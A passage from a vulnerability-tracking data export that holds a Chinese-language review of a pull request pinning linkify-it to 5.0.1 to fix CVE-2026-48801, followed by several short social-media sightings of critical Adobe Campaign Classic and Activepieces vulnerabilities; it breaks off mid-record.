[\u529f\u80fd\u6a21\u5757\u4e8c\uff1a\u4f9d\u8d56\u9501\u5b9a\u4e0e\u5b89\u88c5\u7ed3\u679c](#\u529f\u80fd\u6a21\u5757\u4e8c\u4f9d\u8d56\u9501\u5b9a\u4e0e\u5b89\u88c5\u7ed3\u679c)\n- [\u4e3a\u4ec0\u4e48\u8fd9\u6837\u4fee\u6539](#\u4e3a\u4ec0\u4e48\u8fd9\u6837\u4fee\u6539)\n- [\u6d4b\u8bd5\u4e0e\u9a8c\u8bc1](#\u6d4b\u8bd5\u4e0e\u9a8c\u8bc1)\n- [\u5f71\u54cd\u5206\u6790](#\u5f71\u54cd\u5206\u6790)\n- [\u98ce\u9669\u4e0e\u517c\u5bb9\u6027\u5173\u6ce8](#\u98ce\u9669\u4e0e\u517c\u5bb9\u6027\u5173\u6ce8)\n- [\u5dee\u5f02\u8986\u76d6\u8303\u56f4](#\u5dee\u5f02\u8986\u76d6\u8303\u56f4)\n\n## \u53d8\u66f4\u6982\u89c8\n\n\u8be5 PR \u7684\u76ee\u6807\u662f\u5904\u7406\u9ad8\u4e25\u91cd\u6027\u6f0f\u6d1e CVE-2026-48801\u3002`linkify-it` \u5e76\u975e\u9879\u76ee\u76f4\u63a5\u58f0\u660e\u7684\u4e1a\u52a1\u4f9d\u8d56\uff0c\u800c\u662f\u7531 `markdown-it@12.3.2`\u3001`ansi-to-react@6.2.6` \u7b49\u4f9d\u8d56\u94fe\u95f4\u63a5\u5f15\u5165\u3002PR \u9009\u62e9\u5728 npm \u7684 `overrides` \u914d\u7f6e\u4e2d\u5f3a\u5236\u6240\u6709\u6d88\u8d39\u8005\u89e3\u6790\u5230 `linkify-it@5.0.1`\uff0c\u5e76\u91cd\u65b0\u751f\u6210\u9501\u6587\u4ef6\u4ee5\u56fa\u5316\u5b89\u88c5\u7ed3\u679c\u3002\n\n\u6d89\u53ca\u6587\u4ef6\uff1a\n\n- [`src/client/package.json`](https://dev.azure.com/devdiv/OnlineServices/_git/AzureNotebooks/pullrequest/766462?path=/src/client/package.json&_a=files)\uff1a\u65b0\u589e `linkify-it: 5.0.1` \u7684\u7cbe\u786e\u8986\u76d6\u89c4\u5219\u3002\n- [`src/client/package-lock.json`](https://dev.azure.com/devdiv/OnlineServices/_git/AzureNotebooks/pullrequest/766462?path=/src/client/package-lock.json&_a=files)\uff1a\u91cd\u65b0\u89e3\u6790\u4f9d\u8d56\u6811\u5e76\u8bb0\u5f55\u5b9e\u9645\u5b89\u88c5\u7248\u672c\u3002\n\n## \u529f\u80fd\u6a21\u5757\u4e00\uff1a\u5b89\u5168\u4f9d\u8d56\u89e3\u6790\u7b56\u7565\n\n### \u4fee\u6539\u5185\u5bb9\n\n[`src/client/package.json`](https://dev.azure.com/devdiv/OnlineServices/_git/AzureNotebooks/pullrequest/766462?path=/src/client/package.json&_a=files) \u5728\u73b0\u6709\u8986\u76d6\u914d\u7f6e\u7684\u672b\u5c3e\u52a0\u5165\u7cbe\u786e\u7248\u672c `linkify-it: 5.0.1`\u3002\u8be5\u6587\u4ef6\u7684\u5dee\u5f02\u5728\u5206\u6790\u5305\u4e2d\u5b8c\u6574\u63d0\u4f9b\u3002\n\n### \u5de5\u4f5c\u539f\u7406\n\nnpm \u5728\u6784\u5efa\u4f9d\u8d56\u6811\u65f6\u4f1a\u4f18\u5148\u5e94\u7528\u6839\u9879\u76ee\u7684 `overrides` \u89c4\u5219\uff0c\u56e0\u6b64\u5373\u4f7f `markdown-it` \u6216 `ansi-to-react` \u7684\u4f9d\u8d56\u58f0\u660e\u539f\u672c\u4f1a\u89e3\u6790\u5230\u65e7\u7248 `linkify-it`\uff0c\u6700\u7ec8\u5b89\u88c5\u7ed3\u679c\u4e5f\u4f1a\u88ab\u7edf\u4e00\u6539\u5199\u4e3a `5.0.1`\u3002\u4f7f\u7528\u7cbe\u786e\u7248\u672c\u800c\u4e0d\u662f\u8303\u56f4\u7248\u672c\u53ef\u4ee5\u4fdd\u8bc1\uff1a\n\n1. \u5f53\u524d\u5b89\u88c5\u548c CI \u6062\u590d\u5f97\u5230\u786e\u5b9a\u7684\u8865\u4e01\u7248\u672c\u3002\n2. \u4e0d\u4f1a\u56e0\u4e3a\u672a\u6765\u53d1\u5e03\u65b0\u7684\u4e3b\u7248\u672c\u6216\u6b21\u7248\u672c\u800c\u81ea\u52a8\u5f15\u5165\u672a\u7ecf\u9a8c\u8bc1\u7684\u884c\u4e3a\u53d8\u5316\u3002\n3. \u65e0\u9700\u76f4\u63a5\u7f16\u8f91 `node_modules`\uff0c\u4e5f\u65e0\u9700\u7b49\u5f85\u6bcf\u4e2a\u4e0a\u6e38\u5305\u5206\u522b\u66f4\u65b0\u5176\u4f9d\u8d56\u58f0\u660e\u3002\n\n### \u9884\u671f\u6548\u679c\n\nPR \u63cf\u8ff0\u58f0\u660e\u65e7\u7684 `linkify-it@3.0.3` \u5c06\u88ab\u4fee\u590d\u7248 `5.0.1` \u66ff\u4ee3\uff0c\u5e76\u4e14\u9501\u6587\u4ef6\u4e2d\u4e0d\u518d\u4fdd\u7559 3.x \u526f\u672c\u3002\u7531\u4e8e\u9501\u6587\u4ef6\u4e2d\u5305\u542b `linkify-it` \u7684\u90e8\u5206\u4f4d\u4e8e\u88ab\u622a\u65ad\u8303\u56f4\u4e4b\u5916\uff0c\u5206\u6790\u5305\u672c\u8eab\u65e0\u6cd5\u72ec\u7acb\u6838\u5b9e\u201c\u6240\u6709 3.x \u526f\u672c\u5747\u5df2\u6d88\u5931\u201d\u8fd9\u4e00\u70b9\uff1b\u8be5\u7ed3\u8bba\u6765\u81ea PR \u63cf\u8ff0\uff0c\u800c\u4e0d\u662f\u53ef\u89c1\u5dee\u5f02\u3002\n\n## \u529f\u80fd\u6a21\u5757\u4e8c\uff1a\u4f9d\u8d56\u9501\u5b9a\u4e0e\u5b89\u88c5\u7ed3\u679c\n\n### \u4fee\u6539\u5185\u5bb9\n\n[`src/client/package-lock.json`](https://dev.azure.com/devdiv/OnlineServices/_git/AzureNotebooks/pullrequest/766462?path=/src/client/package-lock.json&_a=files) \u88ab\u91cd\u65b0\u751f\u6210\uff0c\u7528\u4e8e\u628a\u8986\u76d6\u89c4\u5219\u8f6c\u5316\u4e3a\u53ef\u91cd\u590d\u7684\u5b9e\u9645\u4f9d\u8d56\u6811\u3002\n\n\u53ef\u89c1\u7684\u9501\u6587\u4ef6\u7247\u6bb5\u4e0d\u4ec5\u5305\u542b\u76ee\u6807\u5b89\u5168\u4f9d\u8d56\u7684\u95f4\u63a5\u8c03\u6574\uff0c\u8fd8\u663e\u793a\u4e86\u8f83\u5927\u8303\u56f4\u7684\u4f9d\u8d56\u91cd\u89e3\u6790\uff0c\u4f8b\u5982\uff1a\n\n- `@a11y-insights/playwright-checker` \u4ece `1.9.3` \u5347\u81f3 `1.11.0`\uff0c\u5176\u591a\u4e2a\u5e73\u53f0\u4e13\u7528\u53ef\u9009\u5305\u540c\u6b65\u5347\u7ea7\u3002\n- `@axe-core/playwright` \u4ece `4.11.1` \u5347\u81f3 `4.12.1`\u3002\n- \u591a\u4e2a Azure SDK \u57fa\u7840\u5305\u53d1\u751f\u5347\u7ea7\uff0c\u4f8b\u5982 `@azure-rest/core-client`\u3001`@azure/core-client`\u3001`@azure/core-rest-pipeline`\u3001`@azure/core-util` \u548c `@azure/core-xml`\u3002\n- \u53ef\u89c1\u7247\u6bb5\u4e2d\u65b0\u589e\u4e86 `aznb-component/node_modules/buffer@6.0.3`\uff0c\u5e76\u5220\u9664\u6216\u8c03\u6574\u4e86\u90e8\u5206\u65e7\u5305\u8282\u70b9\u4e0e\u6ce8\u518c\u8868\u5143\u6570\u636e\u3002\n- \u591a\u4e2a\u53ef\u89c1 Azure SDK \u5305\u7684 `engines.node` \u8981\u6c42\u7531 Node.js 18/20 \u63d0\u5347\u5230 `>=22.0.0`\u3002\n- \u53ef\u89c1\u7247\u6bb5\u8fd8\u5305\u542b Babel \u7b49\u5f00\u53d1\u5de5\u5177\u94fe\u7248\u672c\u53d8\u5316\u3002\n\n\u8fd9\u4e9b\u53d8\u5316\u8bf4\u660e\u672c\u6b21\u9501\u6587\u4ef6\u751f\u6210\u5e76\u975e\u53ea\u4ea7\u751f `linkify-it` \u7684\u6700\u5c0f\u9501\u5b9a\u5dee\u5f02\u3002\u7531\u4e8e\u9501\u6587\u4ef6\u5dee\u5f02\u88ab\u622a\u65ad\uff0c\u65e0\u6cd5\u4ece\u5206\u6790\u5305\u5b8c\u6574\u5217\u51fa\u6240\u6709\u989d\u5916\u5347\u7ea7\u3001\u964d\u7ea7\u3001\u589e\u52a0\u6216\u5220\u9664\u7684\u5305\u3002\n\n### \u5de5\u4f5c\u539f\u7406\n\n\u9501\u6587\u4ef6\u8bb0\u5f55 npm \u5b8c\u6210\u8986\u76d6\u3001\u7248\u672c\u9009\u62e9\u3001\u53bb\u91cd\u548c\u53ef\u9009\u4f9d\u8d56\u8ba1\u7b97\u540e\u7684\u786e\u5b9a\u7ed3\u679c\u3002\u540e\u7eed\u4f7f\u7528\u517c\u5bb9\u7684 npm \u6267\u884c\u9501\u6587\u4ef6\u5b89\u88c5\u65f6\uff0c\u5e94\u590d\u73b0\u8be5\u4f9d\u8d56\u6811\uff0c\u800c\u4e0d\u662f\u91cd\u65b0\u81ea\u7531\u9009\u62e9\u6ee1\u8db3\u7248\u672c\u8303\u56f4\u7684\u5305\u3002\u8fd9\u6837\u53ef\u4f7f\u6f0f\u6d1e\u4fee\u590d\u5728\u5f00\u53d1\u673a\u548c CI \u4e2d\u4fdd\u6301\u4e00\u81f4\u3002\n\n## \u4e3a\u4ec0\u4e48\u8fd9\u6837\u4fee\u6539\n\n\u76ee\u6807\u5305\u662f\u4f20\u9012\u4f9d\u8d56\uff0c\u76f4\u63a5\u5728\u666e\u901a `dependencies` \u4e2d\u91cd\u590d\u58f0\u660e\u5e76\u4e0d\u80fd\u53ef\u9760\u5730\u7ea6\u675f\u6240\u6709\u4f9d\u8d56\u8def\u5f84\uff1b\u7f16\u8f91\u5df2\u5b89\u88c5\u7684 `node_modules` \u66f4\u4e0d\u4f1a\u5f62\u6210\u53ef\u63d0\u4ea4\u3001\u53ef\u590d\u73b0\u7684\u4fee\u590d\u3002\u6839\u7ea7 npm `overrides` \u662f\u5904\u7406\u6b64\u7c7b\u4f20\u9012\u4f9d\u8d56\u5b89\u5168\u95ee\u9898\u7684\u6743\u5a01\u5165\u53e3\u3002\n\n\u4ece `3.0.3` \u76f4\u63a5\u63d0\u5347\u5230 `5.0.1` \u8de8\u8d8a\u4e86\u4e3b\u7248\u672c\u8fb9\u754c\uff0c\u56e0\u6b64\u8986\u76d6\u80fd\u591f\u5feb\u901f\u6d88\u9664\u5df2\u77e5\u6f0f\u6d1e\uff0c\u4f46\u4e5f\u7ed5\u8fc7\u4e86\u4e0a\u6e38\u4f9d\u8d56\u539f\u672c\u9009\u62e9\u7684\u7248\u672c\u8303\u56f4\u3002\u5176\u6b63\u786e\u6027\u53d6\u51b3\u4e8e `markdown-it`\u3001`ansi-to-react` \u53ca\u6240\u6709\u5b9e\u9645\u8c03\u7528\u65b9\u662f\u5426\u4e0e `linkify-it@5` \u7684 API \u548c\u89e3\u6790\u884c\u4e3a\u517c\u5bb9\u3002\n\n## \u6d4b\u8bd5\u4e0e\u9a8c\u8bc1\n\nPR \u63cf\u8ff0\u8bb0\u5f55\u4e86\u4ee5\u4e0b\u9a8c\u8bc1\u7ed3\u679c\uff1a\n\n| \u9a8c\u8bc1\u9879 | \u7ed3\u679c | \u8bf4\u660e |\n|---|---|---|\n| \u6f0f\u6d1e\u4e0e\u7ec4\u4ef6\u5339\u914d | \u901a\u8fc7 | PR \u63cf\u8ff0\u786e\u8ba4\u7ec4\u4ef6\u3001CVE \u548c `3.0.3 \u2192 5.0.1` \u4fee\u590d\u65b9\u5411\u5339\u914d |\n| \u8986\u76d6\u7b56\u7565 | \u901a\u8fc7 | \u4f7f\u7528\u7cbe\u786e npm override \u5904\u7406\u4f20\u9012\u4f9d\u8d56 |\n| \u672c\u5730\u6784\u5efa\u4e0e\u6d4b\u8bd5 | \u73af\u5883\u963b\u585e | PR \u63cf\u8ff0\u79f0\u6784\u5efa\u56e0 `shared-react-components/Feedback.tsx` \u4e2d\u65e2\u6709\u4e14\u65e0\u5173\u7684 Babel `flow` \u8bed\u6cd5\u9519\u8bef\u5931\u8d25 |\n| \u7ec4\u4ef6\u68c0\u6d4b\u5de5\u5177 | \u672a\u6267\u884c | PR \u63cf\u8ff0\u79f0\u672a\u8fd0\u884c Component Detection CLI |\n| CI \u7ed3\u679c | \u5206\u6790\u5305\u672a\u63d0\u4f9b | \u5305\u5185\u6ca1\u6709\u6d41\u6c34\u7ebf\u8fd0\u884c\u6216\u6d4b\u8bd5\u7ed3\u679c\uff0c\u4e0d\u80fd\u786e\u8ba4 PR CI \u5df2\u901a\u8fc7 |\n\n\u5efa\u8bae\u5408\u5e76\u95e8\u7981\u81f3\u5c11\u8986\u76d6\uff1a\n\n1. \u4f7f\u7528\u4ed3\u5e93\u89c4\u5b9a\u7684 Node.js/npm \u7248\u672c\u6267\u884c\u5e72\u51c0\u7684\u9501\u6587\u4ef6\u5b89\u88c5\u3002\n2. \u68c0\u67e5\u5b9e\u9645\u4f9d\u8d56\u6811\uff0c\u786e\u8ba4\u6240\u6709 `linkify-it` \u5b9e\u4f8b\u5747\u4e3a `5.0.1`\uff0c\u4e14\u4e0d\u5b58\u5728 3.x\u3002\n3. \u8fd0\u884c Markdown/\u94fe\u63a5\u8bc6\u522b\u76f8\u5173\u7684\u5355\u5143\u6d4b\u8bd5\u6216\u7aef\u5230\u7aef\u6d4b\u8bd5\uff0c\u7279\u522b\u5173\u6ce8 URL\u3001\u90ae\u7bb1\u3001\u56fd\u9645\u5316\u57df\u540d\u3001\u6807\u70b9\u8fb9\u754c\u548c\u81ea\u5b9a\u4e49 schema\u3002\n4. \u8fd0\u884c\u5ba2\u6237\u7aef\u6784\u5efa\u548c\u73b0\u6709\u6d4b\u8bd5\u5957\u4ef6\uff0c\u9a8c\u8bc1\u9501\u6587\u4ef6\u4e2d\u7684\u5e7f\u6cdb\u4f9d\u8d56\u66f4\u65b0\u3002\n5. \u8fd0\u884c\u7ec4\u4ef6\u6cbb\u7406\u6216\u7b49\u4ef7\u626b\u63cf\uff0c\u786e\u8ba4 CVE-2026-48801 \u544a\u8b66\u5173\u95ed\u4e14\u672a\u5f15\u5165\u65b0\u7684\u9ad8\u4e25\u91cd\u6027\u544a\u8b66\u3002\n6. \u5728 CI \u4f7f\u7528\u7684 Node.js \u7248\u672c\u4e0a\u9a8c\u8bc1\u5b89\u88c5\uff1b\u82e5\u4ecd\u4f4e\u4e8e 22\uff0c\u9700\u8981\u786e\u8ba4\u65b0\u589e\u7684\u5f15\u64ce\u8981\u6c42\u662f\u5426\u4f1a\u5bfc\u81f4\u544a\u8b66\u6216\u5b89\u88c5\u5931\u8d25\u3002\n\n## \u5f71\u54cd\u5206\u6790\n\n### \u6b63\u9762\u5f71\u54cd\n\n- \u6d88\u9664\u5df2\u77e5\u7684 `linkify-it@3.0.3` \u5b89\u5168\u98ce\u9669\uff0c\u964d\u4f4e\u6076\u610f\u6216\u5f02\u5e38\u94fe\u63a5\u6587\u672c\u89e6\u53d1\u6f0f\u6d1e\u7684\u53ef\u80fd\u6027\u3002\n- \u901a\u8fc7\u6839\u7ea7\u8986\u76d6\u7edf\u4e00\u4f20\u9012\u4f9d\u8d56\u7248\u672c\uff0c\u907f\u514d\u4e0d\u540c\u4f9d\u8d56\u8def\u5f84\u7ee7\u7eed\u5b89\u88c5\u6613\u53d7\u653b\u51fb\u7684\u526f\u672c\u3002\n- \u9501\u6587\u4ef6\u4f7f\u4fee\u590d\u5177\u5907\u53ef\u91cd\u590d\u5b89\u88c5\u80fd\u529b\u3002\n\n### \u8fd0\u884c\u65f6\u5f71\u54cd\n\n`linkify-it` \u8d1f\u8d23\u4ece\u6587\u672c\u4e2d\u8bc6\u522b\u5e76\u89e3\u6790\u94fe\u63a5\u3002\u4e3b\u7248\u672c\u5347\u7ea7\u53ef\u80fd\u6539\u53d8\u8fb9\u754c\u8bc6\u522b\u3001\u534f\u8bae\u5904\u7406\u3001\u89c4\u8303\u5316\u7ed3\u679c\u6216\u5f02\u5e38\u8f93\u5165\u884c\u4e3a\uff0c\u8fdb\u800c\u5f71\u54cd\u4f7f\u7528 Markdown \u6e32\u67d3\u6216 ANSI \u5185\u5bb9\u5c55\u793a\u7684\u754c\u9762\u3002\u5206\u6790\u5305\u672a\u5305\u542b\u4e1a\u52a1\u6e90\u7801\u4fee\u6539\uff0c\u4e5f\u672a\u5305\u542b\u9488\u5bf9\u8fd9\u4e9b\u884c\u4e3a\u7684\u6d4b\u8bd5\u5dee\u5f02\uff0c\u56e0\u6b64\u65e0\u6cd5\u8bc1\u660e\u8fd0\u884c\u65f6\u8f93\u51fa\u5b8c\u5168\u4e0d\u53d8\u3002\n\n### \u6784\u5efa\u4e0e\u5f00\u53d1\u73af\u5883\u5f71\u54cd\n\n\u53ef\u89c1\u9501\u6587\u4ef6\u7247\u6bb5\u4e2d\u591a\u9879\u4f9d\u8d56\u5df2\u63d0\u5347\u5230\u8981\u6c42 Node.js `>=22.0.0` \u7684\u7248\u672c\u3002\u5982\u679c\u4ed3\u5e93\u5f00\u53d1\u73af\u5883\u3001\u53d1\u5e03\u6d41\u6c34\u7ebf\u6216\u751f\u4ea7\u6784\u5efa\u955c\u50cf\u4ecd\u4f7f\u7528 Node.js 18/20\uff0c\u53ef\u80fd\u51fa\u73b0 `EBADENGINE` \u8b66\u544a\uff1b\u5728\u542f\u7528\u4e25\u683c\u5f15\u64ce\u68c0\u67e5\u65f6\u53ef\u80fd\u76f4\u63a5\u5b89\u88c5\u5931\u8d25\u3002\u8fd9\u662f\u5f53\u524d\u6700\u5177\u4f53\u7684\u517c\u5bb9\u6027\u98ce\u9669\u4e4b\u4e00\u3002\n\n### \u53d1\u5e03\u8303\u56f4\n\n\u6ca1\u6709\u5e94\u7528\u4e1a\u52a1\u6e90\u7801\u3001\u670d\u52a1\u63a5\u53e3\u3001\u6570\u636e\u6a21\u578b\u6216\u914d\u7f6e\u683c\u5f0f\u7684\u76f4\u63a5\u4fee\u6539\u3002\u9884\u671f\u5f71\u54cd\u96c6\u4e2d\u5728\u5ba2\u6237\u7aef\u4f9d\u8d56\u5b89\u88c5\u3001\u6784\u5efa\u5de5\u5177\u94fe\u4ee5\u53ca\u94fe\u63a5\u89e3\u6790\u884c\u4e3a\u3002\n\n## \u98ce\u9669\u4e0e\u517c\u5bb9\u6027\u5173\u6ce8\n\n| \u98ce\u9669 | \u7ea7\u522b | \u4f9d\u636e\u4e0e\u5efa\u8bae |\n|---|---|---|\n| `linkify-it` \u8de8\u4e3b\u7248\u672c\u517c\u5bb9\u6027 | \u4e2d | `3.0.3 \u2192 5.0.1` \u53ef\u80fd\u5305\u542b API \u6216\u89e3\u6790\u8bed\u4e49\u53d8\u5316\uff1b\u5e94\u8986\u76d6 Markdown \u548c ANSI \u6e32\u67d3\u8def\u5f84 |\n| \u9501\u6587\u4ef6\u4ea7\u751f\u5927\u91cf\u975e\u76ee\u6807\u4f9d\u8d56\u53d8\u5316 | \u9ad8 | \u53ef\u89c1\u7247\u6bb5\u5df2\u5305\u542b a11y\u3001Azure SDK\u3001Babel \u7b49\u5e7f\u6cdb\u5347\u7ea7\uff1b\u5efa\u8bae\u5224\u65ad\u80fd\u5426\u4f7f\u7528\u4e0e\u4ed3\u5e93\u5339\u914d\u7684 npm \u7248\u672c\u91cd\u65b0\u751f\u6210\u66f4\u5c0f\u5dee\u5f02\uff0c\u6216\u5bf9\u989d\u5916\u5347\u7ea7\u8fdb\u884c\u72ec\u7acb\u9a8c\u8bc1 |\n| Node.js \u6700\u4f4e\u7248\u672c\u63d0\u5347 | \u9ad8 | \u53ef\u89c1\u7247\u6bb5\u4e2d\u591a\u4e2a\u5305\u8981\u6c42 Node.js 22\uff1b\u5fc5\u987b\u4e0e\u5f00\u53d1\u673a\u548c CI \u955c\u50cf\u7248\u672c\u6838\u5bf9 |\n| npm/\u9501\u6587\u4ef6\u683c\u5f0f\u517c\u5bb9\u6027 | \u4e2d | \u5927\u89c4\u6a21\u91cd\u89e3\u6790\u53ef\u80fd\u6765\u81ea\u4e0d\u540c npm \u7248\u672c\uff1b\u65e7 npm \u53ef\u80fd\u4ea7\u751f\u4e0d\u540c\u6811\u6216\u6539\u5199\u9501\u6587\u4ef6 |\n| \u53ef\u9009\u5e73\u53f0\u5305\u53d8\u5316 | \u4e2d | Playwright checker \u7684 Windows\u3001Linux\u3001macOS \u67b6\u6784\u5305\u5747\u5347\u7ea7\uff0c\u5e94\u81f3\u5c11\u5728\u5b9e\u9645 CI \u5e73\u53f0\u9a8c\u8bc1\u5b89\u88c5\u548c\u6267\u884c |\n| \u4fee\u590d\u5b8c\u6574\u6027\u65e0\u6cd5\u7531\u5305\u5185\u5dee\u5f02\u786e\u8ba4 | \u4e2d | \u88ab\u4fdd\u7559\u7684\u9501\u6587\u4ef6\u7247\u6bb5\u6ca1\u6709\u51fa\u73b0 `linkify-it`\uff1b\u9700\u8981\u7528 `npm ls linkify-it --all` \u6216\u9501\u6587\u4ef6\u67e5\u8be2\u786e\u8ba4\u65e0 3.x |\n| \u672c\u5730\u6784\u5efa\u672a\u6210\u529f | \u4e2d | \u5931\u8d25\u88ab\u63cf\u8ff0\u4e3a\u65e2\u6709\u65e0\u5173\u95ee\u9898\uff0c\u4f46\u5f53\u524d\u4ecd\u7f3a\u5c11\u6210\u529f\u6784\u5efa\u8bc1\u636e\uff0c\u5e94\u4ee5 PR CI \u4f5c\u4e3a\u5408\u5e76\u95e8\u7981 |\n\n## \u5dee\u5f02\u8986\u76d6\u8303\u56f4\n\n- [`src/client/package.json`](https://dev.azure.com/devdiv/OnlineServices/_git/AzureNotebooks/pullrequest/766462?path=/src/client/package.json&_a=files)\uff1a\u5dee\u5f02\u5b8c\u6574\uff0c\u53ef\u786e\u8ba4\u65b0\u589e\u4e86\u7cbe\u786e\u7684 `linkify-it@5.0.1` \u8986\u76d6\u9879\u3002\n- [`src/client/package-lock.json`](https://dev.azure.com/devdiv/OnlineServices/_git/AzureNotebooks/pullrequest/766462?path=/src/client/package-lock.json&_a=files)\uff1a\u539f\u59cb\u5dee\u5f02\u7ea6 569,982 \u5b57\u8282\uff0c\u5206\u6790\u5305\u4ec5\u4fdd\u7559\u524d 65,536 \u5b57\u8282\u5e76\u6807\u8bb0\u4e3a\u622a\u65ad\uff1b\u53ef\u89c1\u8303\u56f4\u7ea6\u6709 452 \u6761\u65b0\u589e\u884c\u548c 348 \u6761\u5220\u9664\u884c\uff0c\u4f46\u8fd9\u4e9b\u53ea\u662f\u622a\u65ad\u7247\u6bb5\u7edf\u8ba1\uff0c\u4e0d\u80fd\u4f5c\u4e3a\u6574\u4e2a PR \u7684\u884c\u6570\u3002\n- \u9501\u6587\u4ef6\u53ef\u89c1\u7247\u6bb5\u4e2d\u6ca1\u6709\u51fa\u73b0 `linkify-it` \u6587\u672c\uff0c\u56e0\u6b64\u65e0\u6cd5\u76f4\u63a5\u9a8c\u8bc1\u76ee\u6807\u7248\u672c\u6761\u76ee\u3001\u6240\u6709\u5f15\u7528\u8def\u5f84\u6216\u65e7\u7248\u672c\u6e05\u7406\u60c5\u51b5\u3002\n- \u5206\u6790\u5305\u6ca1\u6709\u9519\u8bef\u6216\u8b66\u544a\u8bb0\u5f55\uff0c\u4f46\u4e5f\u6ca1\u6709\u6d41\u6c34\u7ebf\u65e5\u5fd7\u3001\u6d4b\u8bd5\u62a5\u544a\u3001\u5b8c\u6574\u4f9d\u8d56\u6811\u6216\u5b8c\u6574\u9501\u6587\u4ef6\u5dee\u5f02\u3002\u672c\u6587\u672a\u5bf9\u8fd9\u4e9b\u7f3a\u5931\u5185\u5bb9\u4f5c\u63a8\u65ad\u6027\u7ed3\u8bba\u3002\n", "creation_timestamp": "2026-08-31T00:29:59.222717Z"}, {"uuid": "14598195-d2b3-46e2-b439-90d83be9eafa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-48333", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/117035710843679491", "content": "CVE-2026-48333 (CRITICAL, CVSS 9.8): Incorrect Authorization in Adobe Campaign Classic enables attackers to escalate privileges without user interaction. No patch info yet \u2014 monitor vendor updates. https://radar.offseq.com/threat/cve-2026-48333-incorrect-authorization-cwe-863-in-adobe-adobe-campaign-classic-c17f18d3ff17c03b #OffSeq #Adobe #Security #CVE202648333", "creation_timestamp": "2026-08-04T06:00:25.316168Z"}, {"uuid": "f2ed30d1-585d-400d-9bf9-ed251f5ecf8f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-48333", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3msadjk5qhi2o", "content": "Adobe Campaign Classic faces a CRITICAL Incorrect Authorization vuln (CVSS 9.8). Attackers could gain elevated privileges \u2014 no user action needed. Patch status unknown; monitor for updates. https://radar.offseq.com/threat/cve-2026-48333-incorrect-authorization-cwe-863-in-adobe-adobe-campaign-clas...", "creation_timestamp": "2026-08-04T06:00:27.555687Z"}, {"uuid": "53f84ff8-913c-415c-8d81-06b85d9d1a8d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48499", "type": "seen", "source": "https://bsky.app/profile/malwareobserver.bsky.social/post/3mrvbgw5k5s2c", "content": "\ud83d\udc1b VULNERABILITIES CVE Notify: \ud83d\udea8 [CVE-2026-48499](https://github.com/activepieces/activepieces/commit/9d8d328424bd32d295c5727af755...\nhttps://github.com/activepieces/activepieces/commit/9d8d328424bd32d295c5727af7550e1b57f9074d #PatchManagement #Vulnerability #CVE", "creation_timestamp": "2026-07-30T20:23:53.948643Z"}, {"uuid": "f0f2d427-59f1-4034-90b5-415316a8f9c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-48326", "type": "seen", "source": "https://bsky.app/profile/hugovalters.bsky.social/post/3msbiyesbcc2i", "content": "CVE-2026-48326 - Critical SQLi in Adobe Campaign Classic. Low-privilege attacker can achieve RCE. CVSS 9.9, unpatched. Mitigate immediately. #CVE #Adobe #infosec\n\nhttps://www.valtersit.com/cve/cve-2026-48326/", "creation_timestamp": "2026-08-04T17:10:53.118494Z"}, {"uuid": "4fa51ab2-c9e6-47d9-942f-7eafa47a11a2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-48326", "type": "seen", "source": "https://mastodon.social/users/hugovalters/statuses/117038347232294519", "content": "CVE-2026-48326 - Critical SQLi in Adobe Campaign Classic. Low-privilege attacker can achieve RCE. CVSS 9.9, unpatched. Mitigate immediately. #CVE #Adobe #infosec\nhttps://www.valtersit.com/cve/cve-2026-48326/", "creation_timestamp": "2026-08-04T17:10:53.500120Z"}, {"uuid": "4e60502a-9cc8-4030-962d-a5ef9d5085a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48499", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mrvdahgdbl23", "content": "CVE-2026-48499 - activepieces\nActivepieces, an AI workflow automation platform, had a security issue that allowed users to access and modify data from other tenants. This issue has been fixed in version 0.84.0.\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#activepieces #CVE #infosec", "creation_timestamp": "2026-07-30T20:56:04.738399Z"}, {"uuid": "efb2da99-0961-4224-b694-a4a59392b2ee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48449", "type": "seen", "source": "https://bsky.app/profile/cerberusit.bsky.social/post/3mrzx7c6qvi2n", "content": "Adobe rolled out a patch for CVE-2026-48449 to stop unauthenticated code execution. Naturally, eight critical Bridge flaws tag along.\n\n#OhLookAPatch #AdobeAgain", "creation_timestamp": "2026-08-01T17:03:59.884776Z"}, {"uuid": "2efa87a6-76c8-44cd-9864-c2c03ab06c84", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48449", "type": "seen", "source": "https://bsky.app/profile/cerberusit.bsky.social/post/3mrzx7eryqb2u", "content": "Just another Tuesday as Adobe releases a fix for CVE-2026-48449, a perfect 10.0 flaw in Campaign Classic letting remote attackers execute code without even asking nicely. The chaos extends to Adobe Bridge users too, who now get to enjoy updates for eight additional critical vulne...\n\nRead full story", "creation_timestamp": "2026-08-01T17:04:02.054338Z"}, {"uuid": "8b8afefe-ba5a-44d7-9901-98ff3068c8c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48449", "type": "seen", "source": "https://bsky.app/profile/securityonline.bsky.social/post/3mrvwke5nzx2g", "content": "Adobe Campaign Classic flaw CVE-2026-48449 scores a perfect CVSS 10.0 and 